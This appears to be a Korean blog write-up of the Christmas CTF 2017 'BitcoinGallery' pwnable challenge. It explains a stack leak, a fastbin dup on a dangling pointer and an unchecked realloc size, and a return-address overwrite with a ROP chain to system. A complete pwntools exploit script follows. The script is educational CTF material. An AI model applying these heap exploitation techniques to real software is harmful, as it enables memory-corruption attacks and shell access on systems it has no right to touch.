-
Christmas CTF 2017 BitcoinGalleryPwnable/CTF 2018. 1. 18. 23:09
add title입력부분에서 stack에 입력을하고 마지막에 널값을 넣지않은채 strcpy함수를 호출하기때문에 내가 title에 입력한 버퍼뒤쪽 스택에있는 주소들을 릭 할수있다.
free를 시킬때 unlink를 하고 free를 시킬때 이전 청크 story를 free시키고 NULL로 채우지 않기때문에 fastbin dup 취약점이 생기고, modify size 부분에서 realloc를 하는데 size 1보다 작은값을 막지 않기때문에 fastbin dup취약점이 이 부분에도 생긴다.
title입력부분에 fake prevsize (0), fake size(0x31)을 적고 fastbin dup를 이용하여서 fd를 그쪽 주소로 넘긴다음 그 주소에있는 story포인터가 가르키는 주소를 스택 주소로 바꿔서 라이브러리 릭을하고 modify story를 보면 story주소를 가져오고 바로 전에 index를 입력을 한번 더 받는데 story 주소에서 너무크거나 0보다 작은 것 빼고는 +를 시켜서 내가 원하는 주소에 값을 넣을수있다.
내가 선택한 방법은 edit함수 ret를 조작하는건데 카나리랑 그런것들을 고려하고 오프셋만큼 입력을 하는데 세그먼트가 안 떠서 150개 정도 넣어서 테스트 한 후 ret에서 세그먼트가 뜨는것을 확인하고 esp가 가르키는 값 오프셋을 구한 후 rtl을 이용하여서 쉘을 따는 방법이다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596from pwn import *p=process("./BitcoinGallery")def add(title,size,story):p.sendlineafter('>> ','1')p.sendlineafter(': ',title)p.sendlineafter(': ',str(size))p.sendlineafter(': ',story)def add2(title,size,story):p.sendlineafter('>> ','1')p.sendlineafter(': ',title)p.sendlineafter(': ',str(size))p.recvuntil(': ')p.send(story)def delete(index):p.sendlineafter('>> ','2')p.sendlineafter(': ',str(index))def list():p.sendlineafter('>> ','3')def view(index):p.sendlineafter('>> ','4')p.sendlineafter(': ',str(index))def modify(index,which):p.sendlineafter('>> ','5')p.sendlineafter(': ',str(index))p.sendlineafter('> ',str(which))def GAZUAAAAA(coin):p.sendlineafter('>> ','6')p.sendlineafter('? ',coin)add("A"*7,32,"A"*7)view(0)p.recvuntil('A\n')stack = u64(p.recv(6)+"\x00\x00")print hex(stack)add("B\x00",32,"B"*7)add("C\x00",32,"D"*7)add("E\x00",32,"E"*7)delete(2)delete(1)add("a"*7,32,"")view(4)p.recvuntil('a\n')p.recv(6)heap = u64(p.recv(6)+"\x00\x00") - 0x0aprint hex(heap)add("b\x00",32,"b")add("c\x00",32,"c")delete(5)delete(4)modify(0,2)p.sendlineafter('> ','0')delete(3)add("d"*4+p64(0x31),32,p64(heap+0x160))delete(6)add("b\x00",32,"bbb")add("c\x00",32,"ccc")sleep(1)p.sendlineafter('>> ','1')p.sendlineafter(': ',"z"*8)p.sendlineafter(': ','32')p.recvuntil(': ')p.send(p64(0)+p64(0x900)+p64(stack-0xe8))sleep(1)view(7)p.recvuntil('dddd')p.recv(1)p.recvuntil('\x99'*7)p.recv(1)libc_base = u64(p.recv(6)+"\x00\x00") - 0x3c5620 #_IO_2_1_stdout_ leakmalloc_hook = libc_base + 0x3c4b10free_hook = libc_base + 0x3c67a8pop_rdi = libc_base + 0x21102one_shot = libc_base + 0x45216system = libc_base + 0x45390cmd = libc_base + 0x18cd17print hex(libc_base)print hex(free_hook)print hex(malloc_hook)target = 0x108#print target edit function buffer over flowmodify(7,3)print targetp.sendlineafter('> ','\x08\x01')p.sendlineafter('=> ','a'*112+p64(pop_rdi)+p64(cmd)+p64(system))p.interactive()cs 'Pwnable > CTF' 카테고리의 다른 글
insomnihack CTF 2018 sapeloshop (0) 2018.01.23 Codegate 2017 Final building_owner (0) 2018.01.21 Codeblue 2017 simple memo pad (0) 2018.01.17 Codegate 2017 hunting (0) 2018.01.17 WITHCON 2017 bank (0) 2018.01.15